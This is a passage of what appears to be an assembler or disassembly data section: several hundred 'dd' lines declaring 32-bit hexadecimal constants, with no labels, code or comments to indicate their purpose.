dd 96FE65B6h, 0B76FCDC2h, 0D3914A29h, 4E9F9028h, 0D3D403C3h
dd 9133D227h, 0BFED2649h, 7B6E044Fh, 7A081F81h, 360D5839h
dd 277642E7h, 2A9D5A5h, 0F515C940h, 0FECD2D7Fh, 0DD4839A7h
dd 59514110h, 7CCEBEDBh, 0F3EA18F4h, 0B621FFC6h, 301351F1h
dd 77030FE6h, 2CC064E3h, 44C1636Ch, 0B582FB72h, 9F757E6Fh
dd 0E72256D3h, 8635FCE2h, 0BD707C64h, 0A5200379h, 5E454A6Ah
dd 69E7EB3Ch, 0BBCDE732h, 1CC569DBh, 0ABA70F1h, 37DC8867h
dd 8D88F2CAh, 0FB606AEDh, 0AFC789A6h, 0DAEE7278h, 760E6A7Fh
dd 0F1D38A5Ah, 281703E4h, 9A849314h, 193FBB7Ah, 6687A6D3h
dd 489DE6Dh, 0D8D2C5DBh, 281C3CDAh, 0B0D0230Fh, 0F5DB225Ah
dd 0C7AC4ACCh, 23172F4Bh, 21BCADBCh, 0DD85B9C7h, 88865B59h
dd 385BDEDAh, 11C9070Fh, 0DCE2EF90h, 2649F9C5h, 881031A9h
dd 9285FFBh, 1BF92209h, 0DCC449C1h, 0F4961057h, 1D44A77Ch
dd 14AAA080h, 174F9FECh, 7AF5A5F8h, 9356A526h, 36095158h
dd 4BDF921Bh, 0F2BC5736h, 0CF50AE8Dh, 95DAF956h, 576FBB21h
dd 0A991C7B3h, 7BA0949Fh, 72B45B55h, 0F2CCD41Ch, 7930BA66h
dd 98158E6Dh, 5DB67F6Dh, 0EBFE9BA4h, 0DF2E0CD9h, 0C8C0EC59h
dd 40AAAC04h, 87F48493h, 0A6CF6460h, 0EA773626h, 70024F2Ch
dd 2CDE8488h, 7FF7E30Ah, 70E1D4BDh, 1914873Ch, 0B114ED43h
dd 4B886BA0h, 56B1F4B8h, 1A8B80FCh, 0F3ECF43Ch, 0E975068Dh
dd 5C4C711Ch, 0A33115B0h, 9281DE38h, 6E223C26h, 9CA8A1E7h
dd 3D033F54h, 0E56DE429h, 7115C135h, 6B554D6Dh, 0D62A586Ah
dd 0DDC723C5h, 2292AB1Ah, 5B0C5B9Fh, 0F3736A8Fh, 21E82914h
dd 0D62315B5h, 8AD804AFh, 5BB1A749h, 5D9E3734h, 94F2E9FBh
dd 0FD3921CDh, 0BA3724D0h, 7B6953A9h, 34F7D19Fh, 0D91AD43Dh
dd 8BB877FFh, 3687C88Dh, 0D26338h, 60C1F787h, 2DAC9668h
dd 0F51EFDD0h, 0CBE764A4h, 206F24CEh, 0DD329A60h, 6560F7DCh
dd 0D1FA8D4h, 9477E773h, 0B0927465h, 0D478AD12h, 0E2D4BD40h
dd 7ED0992Dh, 2FDC373Bh, 9B417C66h, 651AD207h, 2E4B0DDBh
dd 5BBFB752h, 0DB42B090h, 6BC754B5h, 0CBDE2CE0h, 0D8410BB3h
dd 0EC9D4324h, 6068FD0h, 0BC0A9567h, 0A4A74A19h, 0C1E3CDFFh
dd 0B98FDD12h, 31C5FF38h, 213A760h, 0AA48A92h, 48AAA00Fh
dd 65127D51h, 0C1852393h, 900C767Ah, 4DAC091Dh, 0A2CCE00Ch
dd 0EFEF58D4h, 0AA1A8356h, 1BC24FDCh, 0D6E6F71h, 0C66A3795h
dd 0E1A01561h, 52FB104Ch, 0E0A07AE2h, 9C2DF79Ch, 0A684B758h
dd 686D775Fh, 0E05600D5h, 65746852h, 0AB27229Fh, 4D07E650h
dd 5968CA3Ah, 256C67Dh, 4DDCE7C9h, 26251C15h, 0E6D79185h
dd 0AA391488h, 0FBA01700h, 59FB92B1h, 1A23BB34h, 0E26B8B4Bh
dd 89F9EAC8h, 182FDAADh, 0A72F0341h, 86F502DAh, 11699492h
dd 5DFF4EF6h, 0E2071B74h, 8D62CE07h, 28387459h, 0FAF5835Fh
dd 0AC148866h, 889D40ADh, 6241E065h, 0DAA4614Eh, 2C30E1C7h
dd 9C05930Bh, 5BA497F5h, 0EC80CE17h, 677987E2h, 67E60186h
dd 0DCB3012h, 0A0583FDh, 0E502AD59h, 7B8E8F1Dh, 86E0154Ah
dd 357AA4ACh, 0D0A27268h, 0B5DA6BF2h, 55B67021h, 0AD3372EEh
dd 2DB42210h, 24D1C708h, 0B4EDB28Dh, 0D6997E7Ah, 25F76E6Fh
dd 98E6DF9Fh, 68C38086h, 0DFF35BCh, 0E4D0FE32h, 269E4C25h
dd 0DE085930h, 4AD06D0Ah
dd 0FEEA203Eh, 0AD160E09h, 2D2E420Ah, 0D5A41632h, 4D35DBA5h
dd 803E6A5Dh, 0C1521FBDh, 742B88A1h, 86B8F425h, 5A14FF99h
dd 0ABB85498h, 0C9085CCBh, 18CB3501h, 0EFEA34D8h, 1B3ABDB0h
dd 17FDDC1h, 9A4A8FCDh, 9950ECB2h, 68C62A20h, 96D1CE7Bh
dd 0BA4CB7A6h, 681AA6h, 0F17680E5h, 0A61DE465h, 0E9B0DEE4h
dd 1C052193h, 50AC6F5Ch, 0ADC73FAEh, 0F32391ADh, 8EF56E22h
dd 99DBD6Fh, 182BD721h, 197F8492h, 0AAE2C96Ch, 4D91F755h
dd 533DE928h, 26D8C496h, 3CF28DF8h, 6178DB13h, 5D3A8213h
dd 0EB7A2158h, 0A8BCA4FAh, 8D5982C3h, 50A6D4Eh, 42C5C7C0h
dd 0C34627C4h, 36C74653h, 0A9E82295h, 266A2A2h, 3B65290Ch
dd 3B9EC254h, 0C2D50F36h, 0E3305BFDh, 0A8A8B328h, 0C6009FDAh
dd 2F68829Fh, 894C6D61h, 0B7099FE0h, 0B0B05F34h, 57D44231h
dd 36C10099h, 0DC8A7A3Bh, 8ED74E10h, 75CD3CE6h, 9912E285h
dd 0F17EA41Ch, 7936407h, 4CD370C9h, 6C5F5761h, 0CE43A35h
dd 0E0FEF9C7h, 0E19B4C89h, 900A9A65h, 0F9C08924h, 0A6710058h
dd 0E9451291h, 98BC7373h, 0FE5B6546h, 0D8846984h, 344B892Dh
dd 176E2904h, 0BE973D0Fh, 0A9A31985h, 70EA73B3h, 270AB622h
dd 0C11954ACh, 432F705h, 0C06D170Bh, 7120E782h, 0FBF3AEC3h
dd 549C4FA8h, 7E38A0CFh, 672C1754h, 0A3F67D85h, 5FCA1CDh
dd 0B7D34CA6h, 49A90B16h, 10756A36h, 0F146BA1Ah, 0CD438921h
dd 0BBDDF98Eh, 946B747Eh, 0C3B89820h, 0B775A38Bh, 54C99AEFh
dd 0E03E1252h, 0BE286AEFh, 33DFE9Bh, 523C7B02h, 9D487ED3h
dd 4723A83Ah, 792BA619h, 8C945DB4h, 0E07C0BFEh, 0C5B44D4Ch
dd 59578E40h, 0B25BBADBh, 601F38FFh, 0C34AA0B5h, 6DD1C67Eh
dd 812BBC1Ah, 72DA0D1Fh, 0F582A3A0h, 323811CBh, 129A3FC0h
dd 94787513h, 24478DF0h, 0CDEB2611h, 81B96C84h, 28564276h
dd 65C38A4Ch, 4DF7DB00h, 585E8304h, 688421ABh, 31B047Fh
dd 0A1C119A6h, 0C6F41BEEh, 0A6A9BFBCh, 0A1C41952h, 60A7080Bh
dd 0D545A27Ah, 6194B109h, 1CE4B7F8h, 5050097Bh, 0E5061DD2h
dd 0B23ED4C5h, 0D568AC27h, 5FBB4EB6h, 0DFA4C1FDh, 1CAD7407h
dd 0BE39484Bh, 81EAA16Bh, 0F66F5C64h, 0BBCFBA61h, 9005556Dh
dd 0A9AAF6B7h, 0CA616A6Fh, 0DC3B5E1Ch, 69032C48h, 0F30D0176h
dd 0D537F856h, 93459E4Ch, 99A5C5A3h, 0D0C7AE12h, 0ED361ECAh
dd 0F86B7E1Ah, 0B257B05Fh, 0E32B715Ch, 0D32001B0h, 476AEEEDh
dd 75D7B835h, 0D877BCF6h, 0F15046D8h, 9FF00E29h, 0A6BF00F4h
dd 0FEB19AB2h, 0B15E29C7h, 26B891D6h, 0EE1A6C62h, 0FCCC15BDh
dd 0EA678415h, 926DED45h, 450E7948h, 0B000D0Bh, 89851D31h
dd 4CC0F151h, 0E8885C97h, 0FD5204B6h, 37192EAh, 6F3F5B51h
dd 0D224D194h, 0C5D31CEBh, 0F5B9BDA9h, 7C2284AEh, 53AF7A07h
dd 0AAE8584Fh, 0DE672955h, 25814457h, 0FBA81331h, 1C26733Bh
dd 9FDDFD85h, 0B4A3A86Dh, 0D661FCE8h, 20B031EDh, 0A14246E3h
dd 4B9CF4Bh, 0D1DBC0C8h, 1B504D0h, 0E4E9AC6Bh, 813C468Fh
dd 3E574F07h, 0CB1B3B44h, 5FD4DFEEh, 0D1E8B893h, 0FC400427h
dd 39A161F4h, 5731BFFh, 2DC4948Ch, 0CED821CAh, 101F9C49h
dd 2CD43A0Ah, 97237C56h, 0E164A1B3h, 40AE5A06h, 0F22C832Bh
dd 2524EB05h, 5894D214h, 0B68A3852h, 3EDE5BD3h, 0A1F5EE2Ah
dd 0F936208Dh, 15932784h, 60C70810h, 215F852Dh, 12BD715Ch
dd 0CE7E0A81h, 43F9B5EAh, 5A65AD9h, 0C1EF3DDFh, 0F63F2540h
dd 0A9A55B71h, 572F8E25h, 0D6FBC974h, 0A37C3B5Ah, 0AAFC6A2Dh
dd 250CFE9Ch, 0D5AC1CEFh, 0A99B8C6Ah, 0E63994ECh, 5BD98DB3h
dd 0CDA79E4Bh, 0BC5CA30Dh, 7F2EF143h, 0F3B142BEh, 1B4D563h
dd 0E9F91C8Fh, 4F9AC6DDh, 91D8F4Dh, 0F6968449h, 0C4780E3Ch
dd 0A65497FCh, 0EF8CD0CFh, 5BDEB227h, 8B24E462h, 0FD062448h
dd 1FA7A343h, 0CE83FA98h, 277003F3h, 61DB59BEh, 0A56DC752h
dd 418CF73Dh, 771B7141h, 45717C3Bh, 0C60FAA96h, 0CB305BBAh
dd 3C0BED42h, 0BC043D3Eh, 4159254Bh, 2D4944EFh, 1B7EED78h
dd 6DC26870h, 0B8F13C73h, 2BD36130h, 1EC7A211h, 4EBF293Ah
dd 568A13A3h, 93003DD8h, 786BCDA2h, 138E3D1Bh, 6E44FEBBh
dd 51231362h, 8D9A13F8h, 1D5B0BD9h, 0C4C8581Bh, 0F0A32C1Eh
dd 0BDE574A9h, 9E02E1EDh, 0F85605EFh, 378B805Ah, 6F124A65h
dd 6450C2A2h, 26F0542Bh, 0B97CA602h, 0B8D37557h, 131E97A6h
dd 665C08CEh, 43373489h, 0BEB7EC7Ch, 3E94D7EAh, 7A7F9982h
dd 211AEDA3h, 0FEE3FCCDh, 0D5E32A52h, 93991CE3h, 0D28D3633h
dd 98F01FFFh, 57FE0F0Dh, 0EE70C8EEh, 0FC14AE75h, 9A31604Ch
dd 0D05DB397h, 7E76F33Fh, 5C6C8817h, 9E480E61h, 38639B4Ah
dd 4123F924h, 63B3E98h, 9884DDFAh, 2DBF2Fh, 0B44CB838h
dd 0BDF2E843h, 731B47FCh, 0EF9E22EBh, 0E4CF721Bh, 0D25D279h
dd 85B29879h, 57838BF1h, 0C9B8F069h, 0FF716FA9h, 2EEC5CD1h
dd 4A096DB7h, 0E3AEDC22h, 8073F6E2h, 60D0A929h, 0AA902FE9h
dd 63CEAD1Bh, 7EA4DD3h, 1FA6BDCDh, 98130780h, 1929916h
dd 4B0B70BBh, 9E918AD8h, 529850ACh, 0C78109FDh, 83727256h
dd 612A4DFCh, 0A1DC04DEh, 72C324F6h, 0C43A25A6h, 3447203Ah
dd 9D164866h, 2BC73224h, 0D0C6BD5Fh, 0E4909C38h, 8E11CF6Eh
dd 0D78CA0DEh, 67A76058h, 87546571h, 7DB988DFh, 3E99E1B9h
dd 0F514DF9Bh, 426B5932h, 0A6EA8F53h, 0D178BBE2h, 80F07775h
dd 1E691C0Ah, 32AEAB3Bh, 6894D3A7h, 5123A84Fh, 7A3EC93Ch
dd 6290E7DDh, 0A693EFBBh, 0DD94C73Ch, 8401527h, 0EB9AE2D6h
dd 0A5B93279h, 0AD45684Fh, 0CD14FC74h, 2189AEDAh, 3A9B250Fh
dd 7477F81Ch, 83A9B6F5h, 0F75B948h, 70AC3904h, 2EF723D7h
dd 0BDCFCE69h, 90D43683h, 57EAF60Ah, 7309D33Dh, 3AE01C4Fh
dd 0B3725CD0h, 111ECE20h, 3EB5AF4Ch, 90B78457h, 0E9285D6Dh
dd 0CE1E0655h, 426F3252h, 7476C1B7h, 4E572108h, 0EE08090Bh
dd 1B37DA75h, 482A9BA1h, 946EEDADh, 95A14387h, 0D3E2C3A9h
dd 0A6DDAF78h, 0F9AC8148h, 0C572E2D6h, 0F5554639h, 0D996361Dh
dd 0AC963F50h, 20E71EE6h, 3D21A694h, 0AB24227Bh, 0F71CEAF3h
dd 0A2A66AACh, 6F524849h, 0C570636Eh, 8C56C164h, 297F52C2h
dd 0B1072915h, 7B7B295Ch, 79E2B10Eh, 0A7634EAEh, 9E187A91h
dd 31270C85h, 0ED0E3B6Ah, 7197D7C0h, 0B689EBFBh, 77ECE153h
dd 71A84FBCh, 2638DBDDh, 0B6DB6283h, 0D2C972CEh, 0B7B56722h
dd 3D677B50h, 0C3A55CA3h, 0F33428A4h, 0A6C9C471h, 0EB6F575Ah
dd 0B7ACD099h, 0FDB2D7C7h, 317BEBC9h, 7B023B0Ah, 2ECB94E5h
dd 0F2CEC1FEh, 0C1D272C4h, 0B3AA2983h, 5337D317h, 50C16085h
dd 8772AEADh, 19EE3CBh, 0A65D084Bh, 0A9E2A24Bh, 9C77EA93h
dd 83F7F682h, 5EC8C09Dh, 0A6307318h, 0DBC26571h, 59943A9Bh
dd 1E8473FFh, 5D9ADD35h, 7DEA3A23h, 54AFCF18h, 3E9E6541h
dd 3E2EBF04h, 0ED2C9C01h, 0E41A626Fh, 0B0CA520h, 54339E10h
dd 4BB12259h, 7D4C4702h, 595EF298h, 643DDD10h, 8D46A542h
dd 49FBC5C1h, 9414FE2Ch, 7BF3FC7h, 901F3907h, 75D7A4C8h
dd 0F7EE028Ch, 0E001C288h, 0B6DE5EE3h, 399C5F74h, 0DD805B14h
dd 0D2DDCB82h, 0BEF525BDh, 57CC1B55h, 0DA180C95h, 0AFC77575h
dd 40F2C9BEh, 0DA98ACB6h, 256E3188h, 0B6A708A5h, 815850h
dd 1FE31CD8h, 0ECA9F60Eh, 3B6650E8h, 791455F3h, 9645B556h
dd 46788F50h, 5DF77EF5h
dd 0B0BB11E6h, 22AE5490h, 1238DDC4h, 9F057D11h, 0BBA47EC2h
dd 0C2A79995h, 96C1387Bh, 1ACE975Fh, 0F6B2CF39h, 6209AF30h
dd 92FB87BCh, 0B37D34Ah, 0BBDCCD89h, 75CC8636h, 0B254A855h
dd 9BC0E0F2h, 6205CA2Ah, 304DF509h, 0B98E9E7Ch, 0AAC0709Eh
dd 6BD63CDAh, 0D8600E3Bh, 24756277h, 6C374518h, 0A7E73821h
dd 2C0DA9h, 692369D2h, 0C83505E4h, 0BB883644h, 7823E8A9h
dd 91423B20h, 0DA84A43Eh, 0D703605h, 0C0755AF2h, 3111E7C1h
dd 0AB14CD40h, 0B97CD59Bh, 52FEE0F4h, 1F802EFBh, 4D78555Ch
dd 0EE45433Eh, 109C0008h, 0C7315D65h, 0DFE0AB4Fh, 0F4D2AD91h
dd 3C42EBFAh, 624CD5ECh, 0F759ABC2h, 791B089h, 1132C5CEh
dd 0F1BC7E5Dh, 7A435227h, 99D1B542h, 2D44AE67h, 0B9EDB096h
dd 93EAEEB6h, 0A0697D22h, 0C53603E2h, 0F819F10Ah, 2644B215h
dd 783334BAh, 2FB77CE1h, 0C26D35D3h, 0D84C03B8h, 0BB56A154h
dd 0B75E8F5Ch, 0F663B849h, 5B7195B1h, 8816997Fh, 514F4ACAh
dd 0FE232659h, 0B80C2DC4h, 75BBF572h, 48B17294h, 949BC699h
dd 2371E8DEh, 2E2E01E9h, 53FDF3F9h, 29C6E842h, 0F6F4DED1h
dd 0FDB02404h, 859E703Ah, 87186843h, 0BB7027CEh, 844AD5A7h
dd 0C4D4FFFh, 8EBC94B5h, 27805B02h, 0D9E8A93h, 46B3C63h
dd 59DC7BA8h, 6FA48FA2h, 3C0232CFh, 633FDAB7h, 0DB038F0Fh
dd 0EB8EBB0Fh, 89A46668h, 0EC11C844h, 61D484B7h, 0CF00B115h
dd 2D41B33Eh, 0B8F14441h, 20289206h, 4B62EDB0h, 0B5224097h
dd 7236B172h, 5E9AC592h, 1F74AF79h, 0EDFF4330h, 18AD3634h
dd 90DA72B1h, 8BE57CDh, 5E547E44h, 97537A03h, 1587235Dh
dd 2E38E121h, 56ED58DFh, 0FF26FC70h, 0C76DA5A3h, 0A024D5FAh
dd 0C05A3D6Dh, 5DC3747h, 4415BCF9h, 6696A148h, 6D60FD16h
dd 73489A91h, 1E2B80A6h, 0DD1CA8F3h, 8FA13AAAh, 8A74AF03h
dd 0F17EAF43h, 1EF995DAh, 6B7CD3FDh, 0BA093E8h, 0D16120F8h
dd 0EFD97830h, 4ABC1F75h, 141031F3h, 0A2BDEE7Bh, 98A09ACDh
dd 0F63B732Ch, 82B2D109h, 0F4F77655h, 0D60A98F2h, 965848C4h
dd 4EFC4441h, 51F33813h, 29906A62h, 95516761h, 20928114h
dd 0AE2E60Bh, 632F764Dh, 590E45AAh, 0C1C3D92Eh, 3C3E84F3h
dd 8DCB9985h, 0C4C26E28h, 0B9E8D19Eh, 872573BAh, 72020E0Dh
dd 7124C70Eh, 4E2DEDDAh, 433EC6C9h, 2FF00AA8h, 0CCCD2788h
dd 81A692D3h, 0F047FDAAh, 222AFCFh, 2539DA22h, 0F334987Bh
dd 0FC9DA426h, 0D935B5E8h, 57FFFA2h, 0CED0CE83h, 0F5096801h
dd 8414BE20h, 0AF169C63h, 1D88B78h, 8EC0BA32h, 56B3B6F5h
dd 894BAFB4h, 4A11E1Ch, 9D76B2E3h, 0E06DBB4Fh, 0EF662C1Dh
dd 0FC5B6E0Fh, 4848D856h, 7D10FA79h, 0C12A7CCEh, 0E84C5D46h
dd 0DCAC5D0Dh, 0C9C2D047h, 5BFFBAD8h, 0A5844E86h, 35A8B473h
dd 36C84AC6h, 89DF08ECh, 3AB0885h, 0C1AF549Eh, 0FE11C6FEh
dd 0F20E0B4Ah, 0A37CE87Ah, 50BA3115h, 8F247943h, 1CAA7284h
dd 3C07CEFAh, 5F27A401h, 99C59825h, 109DE713h, 3056D832h
dd 0A44F7DFDh, 0D285052Ch, 0DE13E451h, 67A518B5h, 4E5557C4h
dd 65298C9Eh, 87A58E3Eh, 129D298Dh, 43FCC84Ch, 0F6CA2CA3h
dd 2794BCE8h, 8EE92F4Bh, 0C09D5DA9h, 3BC89566h, 14824432h
dd 0C68C0896h, 0DC205714h, 0C5D6F0E4h, 0BB6B9141h, 672413C6h
dd 0FA653D77h, 0FCC0263Bh, 408D7929h, 881C9750h, 2B18D7Ah
dd 0BA5133BFh, 0E3F39F64h, 3ED96379h, 0C1691698h, 34D12942h
dd 84EABE88h, 55400F03h, 0B7CA0830h, 0C754BA15h, 7BDDCC96h
dd 7666AA43h, 34DF48C7h, 0ABF9DADBh, 0D02B8051h, 8DC3C835h
dd 14484875h, 59DD016Eh, 448B442Ch, 2D838253h, 7EE0F3E1h
dd 44239FBh, 2FB24AFCh, 0E84A5AFAh, 0DE14E212h, 886A65A4h
dd 841C6A57h, 734C8499h, 99BC4BCEh, 83A09F25h, 0AC0FEC4Ch
dd 59A2AC81h, 0C5FA2D7Dh, 0C31612CBh, 2EA7BF97h, 60E72A03h
dd 0B0AC1D85h, 49E99F54h, 3E5DD668h, 21F4FFE4h, 2809F271h
dd 0B4D6DFBEh, 58AF98Fh, 0ADFAC907h, 4AB1AB3Fh, 38EE586h
dd 0CDCF566Dh, 68086907h, 7621DD55h, 0B2F4EEA2h, 0D02F6545h
dd 0C9E53009h, 34CA6BBEh, 94AFABB0h, 0B7271078h, 52F2D42Dh
dd 0AC9D89EBh, 1C0102D8h, 74565097h, 33816139h, 0FF145EDAh
dd 840B6177h, 0EB34F3F0h, 0EC5C022Ah, 60742F14h, 1EEAFECDh
dd 0D2CD38FDh, 1E2B90F2h, 0CAA26228h, 33D0797Fh, 0B84E438Fh
dd 0A621BED9h, 0F7CF45F6h, 0CDD3C023h, 414F8F0Fh, 0E067249Ch
dd 547C6643h, 0E11EC1DFh, 0D374B5EEh, 0E2DF8C23h, 0AB85C9E2h
dd 0CD4B11C0h, 1AEAD809h, 22EF952Ah, 0B6EE54AFh, 366F0434h
dd 0B83DC821h, 1CB73199h, 3D746212h, 7242046Dh, 27C2DF1Eh
dd 0BF8EB8F1h, 0EFD44FC1h, 3A41EBA1h, 0F3BE57F7h, 0C9734D1Ah
dd 68BA4FA6h, 0C28D07B6h, 53B356B4h, 0B97D18F2h, 3E11FBC9h
dd 1DDE124Ch, 0BFCA73A9h, 0C36CCA54h, 0A9AFFEA6h, 7BA8065Fh
dd 15321A25h, 8A877AB7h, 95F9BC29h, 25FDB376h, 1C6362EEh
dd 8B5BAC78h, 0DC6AE75Eh, 0C7F37FAEh, 800FD697h, 25CB3E0Ah
dd 0DC7225Bh, 38C53F40h, 39EEB077h, 0F43EAC7Ah, 34039852h
dd 9BA939D8h, 565E9CFEh, 0A7C42B85h, 0BD258A74h, 884BFE61h
dd 3DA5C174h, 9A6B4C6Ah, 496D1BB2h, 0B0DA7913h, 9427DB70h
dd 4A857270h, 0C71E6B6Ah, 0A0FF0EC9h, 0DDD53C24h, 9E367DDAh
dd 0CBBD9C43h, 0D49B9CA9h, 5D85D829h, 51438664h, 8ACB46E3h
dd 89E8878Fh, 0FFF29F70h, 0E479B331h, 765DA923h, 0C30FCF95h
dd 0CB7A6D88h, 0D2CAB1DCh, 9A0C0F47h, 45C2850Dh, 0C1240B6Ch
dd 0DBE0E026h, 0E6943216h, 0EC6A46D9h, 987820Fh, 0E6FA0281h
dd 45AB3592h, 0AF9A40B4h, 39514204h, 0EE654D87h, 0F8660B84h
dd 0CCC9B61Ch, 8ECB15AEh, 0D8269777h, 27C2E30Eh, 8DAFD946h
dd 0AFEA57D0h, 1553D180h, 9DDA77Fh, 90E39655h, 44388CC7h
dd 4FF63F0Ch, 92F8E2ACh, 0A1755510h, 53904Ch, 0E36DB926h
dd 3EED580Eh, 0A6C9A9B4h, 0A3254DBh, 7983130Bh, 2B03EF9h
dd 61F2C4E0h, 47FE28F6h, 340D2518h, 0D86D22C5h, 94F4A52Ch
dd 3275C0FBh, 861CAA86h, 0A1A3B1CEh, 0E3A580DEh, 40B3C808h
dd 7599F612h, 0BE1D8E6Dh, 0DE844F84h, 4D26C60Bh, 3AD464E7h
dd 0B7752C9Ah, 2B4902CBh, 275549E7h, 0A81D084Dh, 76614B0Fh
dd 0F70943B3h, 66F9177Ah, 0CE5E17ABh, 535ACF5Ah, 0DC5E717Ah
dd 3B6E99DFh, 0A70279FAh, 0FE4A21FFh, 8A454A35h, 0F08F84AEh
dd 63014B4Eh, 8E6BE06Dh, 55A21C8Dh, 14737004h, 17B6198h
dd 0F1134000h, 0A30A45B0h, 7796D3BCh, 0EA7D5E5Ch, 0A52E18D4h
dd 3F74297Ch, 279AD451h, 0BF48BB7Dh, 8CA12C11h, 0F32F4CA7h
dd 0A3D24A80h, 1E6F5111h, 0C84F82EDh, 0B4ABC529h, 0FD21F600h
dd 0C3D50561h, 5BF5338Eh, 0AE0A7912h, 8505466Bh, 0BA4814D9h
dd 6CAB79EAh, 4547D439h, 4C67CB9Dh, 0AF3A15D0h, 23D66913h
dd 7E53556Dh, 0DFC26C7Fh, 0A0F9291Dh, 816A016Fh, 1D3C9ACAh
dd 0F873CCA9h, 2350D80h, 0DE2006CEh, 2F3481B6h, 0C1491FDDh
dd 8313AF56h, 3F49F575h, 488A4795h, 2491BC43h, 0E08DE910h
dd 0C300C1A2h, 61845B91h, 27B57BF7h, 5C6A0153h, 224B4169h
dd 0F3590AFEh, 4E7068E6h, 19F154CBh, 0AF84D51Fh, 55279240h
dd 21BFE2ECh, 332BDEC2h, 0A20BDA3Eh, 23B8844h, 0F47D71D9h
dd 95D7674Dh, 0A3B3306Dh, 61DF4EACh, 0EE5C8036h, 100634D2h
dd 0D8E81F8Dh, 1D952EA2h
dd 0CDDB3E22h, 0BD1506F7h, 0EFF98EDh, 0D606D4F2h, 3F01D78Eh
dd 0E8C70CCh, 69095A86h, 912E57C4h, 86185E69h, 1C729F70h
dd 2A453991h, 989F7F8Ch, 14A6CE91h, 0A46467ACh, 3D86AF2Eh
dd 157F2887h, 0D67381DAh, 0D47EE1FCh, 46965783h, 86FC29AAh
dd 0E439AD46h, 68EDF5EDh, 9AACA712h, 61177E8Ah, 8F5BC527h
dd 0F60ECBADh, 95C052E3h, 0CAA4F77Ch, 0A6EFE2C0h, 0F7EF6434h
dd 9800A767h, 0FC74D7B9h, 0E0D6A058h, 16D68D9Ah, 0DA0DB2FFh
dd 37007EB8h, 0F7DD9183h, 88981EFAh, 0B9C141FFh, 7BC421BBh
dd 57CA56EEh, 32F6204Eh, 0AAA75880h, 1B657BD4h, 9CC7534Dh
dd 2AB841A8h, 2EFF4FBDh, 1ED35210h, 0F559D1CFh, 83DAB3D4h
dd 7BAE1467h, 11DCD59Eh, 31641604h, 9A7AD895h, 415D7609h
dd 3DC47030h, 0AB1A4907h, 0F14E93B5h, 0FE01A375h, 142BE11Ch
dd 810477C7h, 0F8F67BF3h, 30552562h, 0DEDEB234h, 0CB6E6933h
dd 23B74603h, 0D17038EAh, 9ED9C0E4h, 0BF392304h, 0BA065D4h
dd 0EF73F6B5h, 0F5B838E7h, 0FD37E635h, 587C8D25h, 32381966h
dd 0B847C536h, 0E0246277h, 368D0AC1h, 7222AECEh, 5EA48C99h
dd 99F5FD35h, 49D81559h, 0BD43A7Dh, 1F0E06A1h, 8CBCC200h
dd 54B23D01h, 32E51DC4h, 7F6E052Eh, 0F18840B4h, 0E0E5CBBh
dd 451FD2E7h, 79FA50E3h, 0EF492421h, 7DBE7719h, 84BF1BA3h
dd 0EB62D329h, 7325C4D0h, 0B0790106h, 1C878942h, 4057ECF9h
dd 0E332E75Bh, 0C3BF5226h, 0AD87075Ah, 634F864Dh, 5DCD51A3h
dd 0D5E09B4Ch, 5E4F47B1h, 0CF4B6250h, 0E49E05C9h, 95F44807h
dd 0A30F1335h, 50C31F41h, 0F48E7649h, 0D1C9A278h, 4FDCA957h
dd 306247C7h, 0D194C169h, 0CCF857h, 626D39B6h, 4CBBE0F6h
dd 9114A74Ah, 10240E26h, 7710D7A9h, 34E688FDh, 9936291Bh
dd 4F2AF67Ah, 12CA3C31h, 0F15FB039h, 52166765h, 29C6B8F0h
dd 0E60D2C52h, 4E1298C2h, 7957ED1h, 0A4756AC1h, 0D28B4F7Fh
dd 331CB68Bh, 34D12E03h, 0C2869DCh, 0E0FC7924h, 0A1E028E0h
dd 0F57CA27Eh, 9D3D0D0Fh, 264A4A20h, 0E726838Dh, 0EA76DEFBh
dd 73D75555h, 0E5B09414h, 7973D52h, 0CDBC21B5h, 3EC74684h
dd 18C27181h, 36A5831Fh, 6728A576h, 1668BEC9h, 0B6FD5177h
dd 0FC1155EAh, 3AA10EA3h, 0DC257CAFh, 3F19E2DFh, 0FF600376h
dd 0F880139Ch, 27603F58h, 0F5A0DFB5h, 0DBBE0C41h, 89858435h
dd 4695B463h, 0F7D6B5C4h, 1308E030h, 0DE75998Eh, 0EB77D1D3h
dd 2178CA5Bh, 843B0B73h, 94E85AF0h, 60EB6E1h, 2515D005h
dd 8FEE0F1Fh, 0D8ECF2Ch, 949BB15Eh, 868BBA35h, 445E2B02h
dd 6FD3E5h, 1172ACF2h, 6A6083A6h, 63C0EC09h, 464F1922h
dd 0BA01FF5Fh, 360CF52Eh, 501538FCh, 0DC055F52h, 0BECA2B3Ch
dd 5FBBC2A3h, 223D7E88h, 0E00BFFC4h, 176570B7h, 8BF34188h
dd 0F95E818Ch, 0DA9D1A65h, 0CE5B649h, 6FC306ABh, 1E3E03CFh
dd 0DF5941CAh, 3A1AA0B0h, 0D291DD67h, 2CCC156Fh, 0A54658F8h
dd 0F8D87435h, 9CE604C9h, 535C4F35h, 0AC72C5AAh, 4292E7B8h
dd 12358CC2h, 0FED0D524h, 49353D86h, 74948686h, 0B6B49D10h
dd 225032CEh, 98A0121Ch, 32882C8Bh, 7B53DD6Ch, 12019A91h
dd 0CA5D18BFh, 0A55A7B95h, 0C99F318Dh, 5B959CDh, 5C887E7Dh
dd 0CB17004Ah, 25C8E120h, 7A5A2DCEh, 9A4409F4h, 662D35BDh
dd 2C4D64F7h, 0F250F0D2h, 0D49AC6ADh, 0C3BEC5Fh, 9B42FD41h
dd 2D806D8Ch, 0C2FCC71Eh, 0DCEA6374h, 656D1D10h, 4604E131h
dd 6A4FEBD4h, 2CF6E446h, 806A4A9h, 0E9A8071Bh, 35D4409Eh
dd 506656DAh, 36B18F03h, 28F67751h, 5122F943h, 0A98EB454h
dd 508749CCh, 0E5D4A446h, 890B01ABh, 5B122588h, 98EE5FB3h
dd 0E8AECBD7h, 0DB1E1D44h, 4FEDE137h, 0AFD81F7Ch, 0AE5856B0h
dd 52EDEBC8h, 5C454B85h, 9A5CFD34h, 0DF78A6D2h, 10F9AED3h
dd 0D5D6F7C0h, 44837C8Fh, 317282F2h, 0B1D3849Fh, 9F70476Bh
dd 0EC308548h, 516B0981h, 0B017675Dh, 8B1558A0h, 8C1C48C4h
dd 9977D986h, 0F0CAC3CFh, 8F1B14FCh, 22895C42h, 885701C9h
dd 84C82F8Ah, 0E561E9FBh, 62DD70C2h, 0F527FE75h, 44F0C448h
dd 2DB26040h, 1C8F9085h, 0B3F10EFAh, 0CB3E623h, 6CE392C6h
dd 0FCD7F66Bh, 28A2ACAFh, 0E7CA172Fh, 141C5990h, 2BE1C738h
